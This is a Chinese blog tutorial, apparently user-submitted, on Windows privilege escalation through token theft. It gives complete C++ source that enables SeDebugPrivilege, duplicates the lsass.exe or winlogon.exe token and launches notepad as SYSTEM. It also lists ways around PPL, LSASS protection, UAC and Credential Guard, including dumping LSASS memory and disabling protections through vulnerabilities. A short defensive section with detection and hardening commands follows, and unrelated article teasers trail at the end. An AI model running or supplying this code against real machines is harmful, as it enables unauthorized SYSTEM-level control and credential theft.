news 2026/7/12 1:56:50

Windows 进程令牌窃取实战:从 lsass.exe 获取 System 权限运行记事本(附 C++ 源码)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Windows 进程令牌窃取实战:从 lsass.exe 获取 System 权限运行记事本(附 C++ 源码)

Windows 系统权限提升技术深度解析:从进程令牌操作到安全防御实践

在Windows系统安全领域,权限管理始终是攻防对抗的核心战场。掌握系统级权限不仅意味着对操作系统的完全控制,更是安全研究人员进行漏洞分析、渗透测试的必备技能。本文将深入探讨Windows环境下通过进程令牌操作实现权限提升的技术细节,提供可落地的C++实现方案,并分析现代系统对此类技术的防御机制。

1. Windows权限体系基础与提权原理

Windows操作系统采用基于令牌(Token)的权限管理体系,每个进程运行时都关联一个安全令牌,决定了该进程能够访问哪些系统资源。系统关键进程如lsass.exe(本地安全认证子系统服务)通常以SYSTEM权限运行——这是Windows中最高级别的权限,甚至超过管理员账户。

令牌窃取提权的核心逻辑在于:

  • 获取高权限进程句柄
  • 复制其安全令牌
  • 利用复制的令牌创建新进程

这种技术之所以有效,是因为Windows允许具有足够权限的进程访问其他进程的令牌信息。关键在于获取"SeDebugPrivilege"特权,该特权默认授予管理员用户,允许调试其他用户空间的进程。

// 获取SeDebugPrivilege的典型代码片段 HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tp; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid); tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

2. 实战:通过LSASS进程令牌获取SYSTEM权限

2.1 目标进程选择与枚举

并非所有系统进程都适合作为令牌来源。理想的候选进程应满足:

  1. 始终以SYSTEM权限运行
  2. 允许PROCESS_QUERY_INFORMATION访问
  3. 系统关键性较低(避免导致系统不稳定)

通过进程快照API枚举符合条件的进程:

DWORD FindSystemProcess() { PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(Process32First(hSnapshot, &pe)) { do { if(_wcsicmp(pe.szExeFile, L"lsass.exe") == 0 || _wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) { CloseHandle(hSnapshot); return pe.th32ProcessID; } } while(Process32Next(hSnapshot, &pe)); } CloseHandle(hSnapshot); return 0; }

2.2 令牌复制与进程创建关键技术

成功获取目标进程句柄后,关键步骤包括:

  1. 令牌复制:使用DuplicateTokenEx复制主令牌
  2. 进程创建CreateProcessWithTokenW允许指定令牌创建进程
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); HANDLE hToken; OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken); HANDLE hNewToken; DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hNewToken); STARTUPINFOW si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(STARTUPINFOW); si.lpDesktop = L"winsta0\\default"; // 指定窗口站 CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, NULL, L"notepad.exe", 0, NULL, NULL, &si, &pi);

注意CreateProcessAsUser需要额外的特权,而CreateProcessWithTokenW在获取令牌后可直接使用,这是实际开发中的重要区别。

3. 完整实现代码与关键参数解析

以下是完整的提权实现代码,包含详细的错误处理和参数说明:

#include <windows.h> #include <tlhelp32.h> #include <stdio.h> BOOL EnableDebugPrivilege() { HANDLE hToken; if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return FALSE; LUID luid; if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { CloseHandle(hToken); return FALSE; } TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) { CloseHandle(hToken); return FALSE; } CloseHandle(hToken); return TRUE; } DWORD FindSystemProcess() { PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(!Process32First(hSnapshot, &pe)) { CloseHandle(hSnapshot); return 0; } do { if(_wcsicmp(pe.szExeFile, L"lsass.exe") == 0 || _wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) { CloseHandle(hSnapshot); return pe.th32ProcessID; } } while(Process32Next(hSnapshot, &pe)); CloseHandle(hSnapshot); return 0; } int main() { if(!EnableDebugPrivilege()) { printf("[!] Failed to enable SeDebugPrivilege\n"); return 1; } DWORD pid = FindSystemProcess(); if(pid == 0) { printf("[!] Could not find suitable system process\n"); return 1; } HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); if(!hProcess) { printf("[!] OpenProcess failed (%d)\n", GetLastError()); return 1; } HANDLE hToken; if(!OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) { printf("[!] OpenProcessToken failed (%d)\n", GetLastError()); CloseHandle(hProcess); return 1; } HANDLE hNewToken; if(!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hNewToken)) { printf("[!] DuplicateTokenEx failed (%d)\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } STARTUPINFOW si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(STARTUPINFOW); si.lpDesktop = L"winsta0\\default"; if(!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, NULL, L"notepad.exe", 0, NULL, NULL, &si, &pi)) { printf("[!] CreateProcessWithTokenW failed (%d)\n", GetLastError()); } else { printf("[+] Successfully created process with SYSTEM token\n"); } CloseHandle(hNewToken); CloseHandle(hToken); CloseHandle(hProcess); return 0; }

4. 现代系统防御机制与绕过思路

随着Windows安全机制的不断强化,传统的令牌窃取技术面临多重防护:

防御机制原理潜在绕过方法
PPL(Protected Process Light)限制对关键进程的访问利用未受保护的进程或驱动漏洞
LSASS保护防止内存读取和进程注入使用合法的API调用获取令牌
UAC(User Account Control)限制管理员权限滥用通过COM提升或自动提升白名单
Credential Guard隔离凭据存储寻找非Credential Guard保护的令牌源

实际测试中发现:Windows 10 1809及更高版本默认启用LSASS保护,直接打开lsass.exe进程会失败。此时可考虑以下替代方案:

  1. 使用MiniDumpWriteDump生成转储文件后离线提取令牌信息
  2. 寻找其他未受PPL保护的系统进程(如某些服务进程)
  3. 利用已知漏洞暂时禁用保护机制

5. 安全开发实践与防御建议

对于防御方,建议采取以下措施防范令牌窃取攻击:

  1. 最小权限原则:服务账户仅授予必要权限
  2. 启用PPL:保护关键系统进程
  3. 令牌过滤:通过组策略限制令牌权限
  4. 监控敏感API调用:如DuplicateTokenExCreateProcessWithTokenW

对于安全研究人员,在合法授权测试时应注意:

# 防御性检测命令示例 Get-Process -IncludeUserName | Where-Object { $_.ProcessName -in @('lsass','winlogon') -and $_.UserName -notlike '*SYSTEM*' } # 启用LSASS保护 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f

令牌操作技术在系统管理、安全测试等场景具有实际价值。我曾在一个企业环境中使用类似技术帮助恢复被恶意软件破坏的系统服务,关键在于理解原理后的创造性应用。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/12 1:56:33

Win10黑屏重启0xc000009c错误:DISM/SFC卡死全面解决方案

今天我们来详细分析一个典型的 Windows 10 系统故障&#xff1a;开机进入桌面后出现黑屏闪烁&#xff0c;随后电脑自动重启&#xff0c;并显示 0xc000009c 内存报错。即使在安全模式下&#xff0c;使用 DISM 修复工具也会卡在 22%&#xff0c;SFC 系统文件检查器则卡在 35%&…

作者头像 李华
网站建设 2026/7/12 1:56:25

Postman 桌面版 v11 安装路径自定义与 3 种数据同步策略详解

Postman v11 高级部署指南&#xff1a;跨平台安装路径定制与数据同步策略深度解析 1. 跨平台安装路径定制方案 对于系统管理员和DevOps工程师而言&#xff0c;标准化开发工具部署是基础架构管理的重要环节。Postman默认安装行为往往无法满足企业级环境对磁盘空间管控和合规性…

作者头像 李华
网站建设 2026/7/12 1:56:07

Elasticsearch-head 5.0.0 跨域连接失败排查:3种配置场景与解决方案

Elasticsearch-head 5.0.0 跨域连接失败排查&#xff1a;3种配置场景与解决方案当你在本地开发环境或生产服务器上部署了Elasticsearch-head 5.0.0&#xff0c;却发现无法正常连接到Elasticsearch集群时&#xff0c;跨域问题往往是罪魁祸首。本文将深入分析三种典型场景下的连接…

作者头像 李华
网站建设 2026/7/12 1:52:55

Unity集成ProtoBuf 3.5避坑指南:解决7大编译错误与IL2CPP兼容性问题

1. 项目概述&#xff1a;为什么Unity遇上ProtoBuf 3.5总“闹别扭”&#xff1f;如果你正在用Unity开发网络游戏、数据驱动的应用&#xff0c;或者需要处理高效的序列化数据&#xff0c;那么Google的Protocol Buffers&#xff08;简称ProtoBuf&#xff09;大概率是你技术栈里的一…

作者头像 李华
网站建设 2026/7/12 1:52:30

TranslucentTB依赖库终极解决方案:从源码到部署的完整指南

TranslucentTB依赖库终极解决方案&#xff1a;从源码到部署的完整指南 【免费下载链接】TranslucentTB A lightweight utility that makes the Windows taskbar translucent/transparent. 项目地址: https://gitcode.com/gh_mirrors/tr/TranslucentTB TranslucentTB是一…

作者头像 李华